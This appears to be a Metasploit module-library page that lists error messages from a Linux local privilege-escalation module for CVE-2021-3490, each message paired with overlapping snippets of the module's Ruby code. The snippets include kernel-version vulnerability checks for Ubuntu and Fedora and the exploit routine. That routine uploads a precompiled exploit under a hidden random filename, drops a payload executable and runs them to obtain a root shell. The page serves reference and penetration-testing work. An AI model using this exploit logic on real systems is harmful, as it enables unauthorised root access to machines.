120:	      elsif (Rex::Version.new(major_version) == Rex::Version.new('5.8.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('53.60'))
121:	        return CheckCode::Safe('Target Ubuntu kernel version is running a 5.8.x build however it has updated to a patched version!')
122:	      elsif (Rex::Version.new(major_version) != Rex::Version.new('5.8.0')) && (Rex::Version.new(major_version) != Rex::Version.new('5.11.0')) # Only Ubuntu 20.04.02, Groovy, and Hirsuite are affected, other releases used a kernel either too old or which was patched.
123:	        return CheckCode::Unknown('Unknown target kernel version, recommend manually checking if target kernel is vulnerable.')
124:	      end
125:	    elsif release =~ /\.fc3[2,3,4]\./
126:	      version_array = release.split('-')
127:	      if version_array.length < 2
128:	        fail_with(Failure::UnexpectedReply, 'The target Fedora server does not have the expected kernel version format!')

The target Fedora server does not have the expected kernel version format!


Here is a relevant code snippet related to the "The target Fedora server does not have the expected kernel version format!" error message:

123:	        return CheckCode::Unknown('Unknown target kernel version, recommend manually checking if target kernel is vulnerable.')
124:	      end
125:	    elsif release =~ /\.fc3[2,3,4]\./
126:	      version_array = release.split('-')
127:	      if version_array.length < 2
128:	        fail_with(Failure::UnexpectedReply, 'The target Fedora server does not have the expected kernel version format!')
129:	      end
130:	      major_version = version_array[0]
131:	      if version_array[1].split('.').length != 3
132:	        fail_with(Failure::UnexpectedReply, 'The target Fedora server does not have the expected minor kernel version format!')
133:	      end

The target Fedora server does not have the expected minor kernel version format!


Here is a relevant code snippet related to the "The target Fedora server does not have the expected minor kernel version format!" error message:

127:	      if version_array.length < 2
128:	        fail_with(Failure::UnexpectedReply, 'The target Fedora server does not have the expected kernel version format!')
129:	      end
130:	      major_version = version_array[0]
131:	      if version_array[1].split('.').length != 3
132:	        fail_with(Failure::UnexpectedReply, 'The target Fedora server does not have the expected minor kernel version format!')
133:	      end
134:	      minor_version = version_array[1].split('.')[0]
135:	      if Rex::Version.new(major_version) >= Rex::Version.new('5.11.20')
136:	        return CheckCode::Safe("Target Fedora kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
137:	      elsif Rex::Version.new(major_version) == Rex::Version.new('5.11.20') && Rex::Version.new(minor_version) >= Rex::Version.new('300')

Target Fedora kernel version is <MAJOR_VERSION>-<MINOR_VERSION> which is not vulnerable!


Here is a relevant code snippet related to the "Target Fedora kernel version is <MAJOR_VERSION>-<MINOR_VERSION> which is not vulnerable!" error message:

131:	      if version_array[1].split('.').length != 3
132:	        fail_with(Failure::UnexpectedReply, 'The target Fedora server does not have the expected minor kernel version format!')
133:	      end
134:	      minor_version = version_array[1].split('.')[0]
135:	      if Rex::Version.new(major_version) >= Rex::Version.new('5.11.20')
136:	        return CheckCode::Safe("Target Fedora kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
137:	      elsif Rex::Version.new(major_version) == Rex::Version.new('5.11.20') && Rex::Version.new(minor_version) >= Rex::Version.new('300')
138:	        return CheckCode::Safe('Target Fedora system is running a 5.11.20 kernel however it has been patched!')
139:	      elsif Rex::Version.new(major_version) <= Rex::Version.new('5.7')
140:	        return CheckCode::Safe('Running a Fedora system with a kernel before kernel version 5.7 where the vulnerability was introduced')
141:	      end

Target Fedora system is running a 5.11.20 kernel however it has been patched!


Here is a relevant code snippet related to the "Target Fedora system is running a 5.11.20 kernel however it has been patched!" error message:

133:	      end
134:	      minor_version = version_array[1].split('.')[0]
135:	      if Rex::Version.new(major_version) >= Rex::Version.new('5.11.20')
136:	        return CheckCode::Safe("Target Fedora kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
137:	      elsif Rex::Version.new(major_version) == Rex::Version.new('5.11.20') && Rex::Version.new(minor_version) >= Rex::Version.new('300')
138:	        return CheckCode::Safe('Target Fedora system is running a 5.11.20 kernel however it has been patched!')
139:	      elsif Rex::Version.new(major_version) <= Rex::Version.new('5.7')
140:	        return CheckCode::Safe('Running a Fedora system with a kernel before kernel version 5.7 where the vulnerability was introduced')
141:	      end
142:	    else
143:	      return CheckCode::Unknown("Target is not a known target, so we can't check if the target is vulnerable or not!")

Running a Fedora system with a kernel before kernel version 5.7 where the vulnerability was introduced


Here is a relevant code snippet related to the "Running a Fedora system with a kernel before kernel version 5.7 where the vulnerability was introduced" error message:

135:	      if Rex::Version.new(major_version) >= Rex::Version.new('5.11.20')
136:	        return CheckCode::Safe("Target Fedora kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
137:	      elsif Rex::Version.new(major_version) == Rex::Version.new('5.11.20') && Rex::Version.new(minor_version) >= Rex::Version.new('300')
138:	        return CheckCode::Safe('Target Fedora system is running a 5.11.20 kernel however it has been patched!')
139:	      elsif Rex::Version.new(major_version) <= Rex::Version.new('5.7')
140:	        return CheckCode::Safe('Running a Fedora system with a kernel before kernel version 5.7 where the vulnerability was introduced')
141:	      end
142:	    else
143:	      return CheckCode::Unknown("Target is not a known target, so we can't check if the target is vulnerable or not!")
144:	    end
145:	

Target is not a known target, so we can't check if the target is vulnerable or not!


Here is a relevant code snippet related to the "Target is not a known target, so we can't check if the target is vulnerable or not!" error message:

138:	        return CheckCode::Safe('Target Fedora system is running a 5.11.20 kernel however it has been patched!')
139:	      elsif Rex::Version.new(major_version) <= Rex::Version.new('5.7')
140:	        return CheckCode::Safe('Running a Fedora system with a kernel before kernel version 5.7 where the vulnerability was introduced')
141:	      end
142:	    else
143:	      return CheckCode::Unknown("Target is not a known target, so we can't check if the target is vulnerable or not!")
144:	    end
145:	
146:	    vprint_good("Kernel version #{release} appears to be vulnerable")
147:	
148:	    config = kernel_config

Could not retrieve kernel config


Here is a relevant code snippet related to the "Could not retrieve kernel config" error message:

146:	    vprint_good("Kernel version #{release} appears to be vulnerable")
147:	
148:	    config = kernel_config
149:	
150:	    if config.nil?
151:	      return CheckCode::Detected('Could not retrieve kernel config')
152:	    end
153:	
154:	    unless config.include?('CONFIG_BPF_SYSCALL=y')
155:	      return CheckCode::Safe('Kernel config does not include CONFIG_BPF_SYSCALL')
156:	    end

Kernel config does not include CONFIG_BPF_SYSCALL


Here is a relevant code snippet related to the "Kernel config does not include CONFIG_BPF_SYSCALL" error message:

150:	    if config.nil?
151:	      return CheckCode::Detected('Could not retrieve kernel config')
152:	    end
153:	
154:	    unless config.include?('CONFIG_BPF_SYSCALL=y')
155:	      return CheckCode::Safe('Kernel config does not include CONFIG_BPF_SYSCALL')
156:	    end
157:	
158:	    vprint_good('Kernel config has CONFIG_BPF_SYSCALL enabled')
159:	
160:	    CheckCode::Appears

Session already has root privileges. Set ForceExploit to override.


Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:

160:	    CheckCode::Appears
161:	  end
162:	
163:	  def exploit
164:	    if is_root? && !datastore['ForceExploit']
165:	      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
166:	    end
167:	
168:	    unless writable?(base_dir)
169:	      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
170:	    end

<BASE_DIR> is not writable


Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:

164:	    if is_root? && !datastore['ForceExploit']
165:	      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
166:	    end
167:	
168:	    unless writable?(base_dir)
169:	      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
170:	    end
171:	
172:	    executable_name = ".#{rand_text_alphanumeric(5..10)}"
173:	    executable_path = "#{base_dir}/#{executable_name}"
174:	    vprint_status('Dropping pre-compiled exploit on system...')

The target server does not have the expected kernel version format!


Here is a relevant code snippet related to the "The target server does not have the expected kernel version format!" error message:

172:	    executable_name = ".#{rand_text_alphanumeric(5..10)}"
173:	    executable_path = "#{base_dir}/#{executable_name}"
174:	    vprint_status('Dropping pre-compiled exploit on system...')
175:	    release = kernel_release
176:	    if release.split('-').length < 2
177:	      fail_with(Failure::UnexpectedReply, 'The target server does not have the expected kernel version format!')
178:	    end
179:	    major_version = release.split('-')[0]
180:	    if (Rex::Version.new(major_version) == Rex::Version.new('5.11.0')) && kernel_version =~ /[uU]buntu/
181:	      upload_and_chmodx(executable_path, exploit_data('cve-2021-3490', 'hirsute.bin'))
182:	    elsif (Rex::Version.new(major_version) == Rex::Version.new('5.8.0')) && kernel_version =~ /[uU]buntu/

The target OS cannot be targeted by this exploit. Considering submitting a PR to add support for this target!


Here is a relevant code snippet related to the "The target OS cannot be targeted by this exploit. Considering submitting a PR to add support for this target!" error message:

190:	    elsif release =~ /\.fc3[2,3,4]\./ && major_version =~ /5\.10/
191:	      upload_and_chmodx(executable_path, exploit_data('cve-2021-3490', 'fedora-5-10.bin'))
192:	    elsif release =~ /\.fc3[2,3,4]\./ && major_version =~ /5\.11/
193:	      upload_and_chmodx(executable_path, exploit_data('cve-2021-3490', 'fedora-5-11.bin'))
194:	    else
195:	      fail_with(Failure::NoTarget, 'The target OS cannot be targeted by this exploit. Considering submitting a PR to add support for this target!')
196:	    end
197:	    register_file_for_cleanup(executable_path)
198:	
199:	    # Upload payload executable
200:	    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"

Note that things may appear to hang due to the exploit not exiting.


Here is a relevant code snippet related to the "Note that things may appear to hang due to the exploit not exiting." error message:

201:	    upload_and_chmodx(payload_path, generate_payload_exe)
202:	    register_file_for_cleanup(payload_path)
203:	
204:	    # Launch exploit
205:	    print_status('Launching exploit...')
206:	    print_warning('Note that things may appear to hang due to the exploit not exiting.')
207:	    print_warning("Feel free to press CTRL+C if the shell is returned before #{datastore['CmdTimeout']} seconds are up.")
208:	    response = cmd_exec(executable_path.to_s, payload_path.to_s, datastore['CmdTimeout'])
209:	    if response =~ /fail/
210:	      fail_with(Failure::NoTarget, 'The exploit failed! Check to see if you are running this against the right target and kernel version!')
211:	      vprint_error("The response was: #{response}")

Feel free to press CTRL+C if the shell is returned before <CMDTIMEOUT> seconds are up.


Here is a relevant code snippet related to the "Feel free to press CTRL+C if the shell is returned before <CMDTIMEOUT> seconds are up." error message:

202:	    register_file_for_cleanup(payload_path)
203:	
204:	    # Launch exploit
205:	    print_status('Launching exploit...')
206:	    print_warning('Note that things may appear to hang due to the exploit not exiting.')
207:	    print_warning("Feel free to press CTRL+C if the shell is returned before #{datastore['CmdTimeout']} seconds are up.")
208:	    response = cmd_exec(executable_path.to_s, payload_path.to_s, datastore['CmdTimeout'])
209:	    if response =~ /fail/
210:	      fail_with(Failure::NoTarget, 'The exploit failed! Check to see if you are running this against the right target and kernel version!')
211:	      vprint_error("The response was: #{response}")
212:	    elsif response =~ /success!/

The exploit failed! Check to see if you are running this against the right target and kernel version!


Here is a relevant code snippet related to the "The exploit failed! Check to see if you are running this against the right target and kernel version!" error message:

205:	    print_status('Launching exploit...')
206:	    print_warning('Note that things may appear to hang due to the exploit not exiting.')
207:	    print_warning("Feel free to press CTRL+C if the shell is returned before #{datastore['CmdTimeout']} seconds are up.")
208:	    response = cmd_exec(executable_path.to_s, payload_path.to_s, datastore['CmdTimeout'])
209:	    if response =~ /fail/
210:	      fail_with(Failure::NoTarget, 'The exploit failed! Check to see if you are running this against the right target and kernel version!')
211:	      vprint_error("The response was: #{response}")
212:	    elsif response =~ /success!/
213:	      print_good('Exploit completed successfully, shell should be returning soon!')
214:	    else
215:	      print_status('No indication of exploit success or failure, try increasing CmdTimeout value!')

The response was: <RESPONSE>


Here is a relevant code snippet related to the "The response was: <RESPONSE>" error message:

206:	    print_warning('Note that things may appear to hang due to the exploit not exiting.')
207:	    print_warning("Feel free to press CTRL+C if the shell is returned before #{datastore['CmdTimeout']} seconds are up.")
208:	    response = cmd_exec(executable_path.to_s, payload_path.to_s, datastore['CmdTimeout'])
209:	    if response =~ /fail/
210:	      fail_with(Failure::NoTarget, 'The exploit failed! Check to see if you are running this against the right target and kernel version!')
211:	      vprint_error("The response was: #{response}")
212:	    elsif response =~ /success!/
213:	      print_good('Exploit completed successfully, shell should be returning soon!')
214:	    else
215:	      print_status('No indication of exploit success or failure, try increasing CmdTimeout value!')
216:	    end

No indication of exploit success or failure, try increasing CmdTimeout value!


Here is a relevant code snippet related to the "No indication of exploit success or failure, try increasing CmdTimeout value!" error message:

208:	    response = cmd_exec(executable_path.to_s, payload_path.to_s, datastore['CmdTimeout'])
209:	    if response =~ /fail/
210:	      fail_with(Failure::NoTarget, 'The exploit failed! Check to see if you are running this against the right target and kernel version!')
211:	      vprint_error("The response was: #{response}")
212:	    elsif response =~ /success!/
213:	      print_good('Exploit completed successfully, shell should be returning soon!')
214:	    else
215:	      print_status('No indication of exploit success or failure, try increasing CmdTimeout value!')
216:	    end
217:	  end
218:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Manfred Paul
  • chompie1337
  • Grant Willcox

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.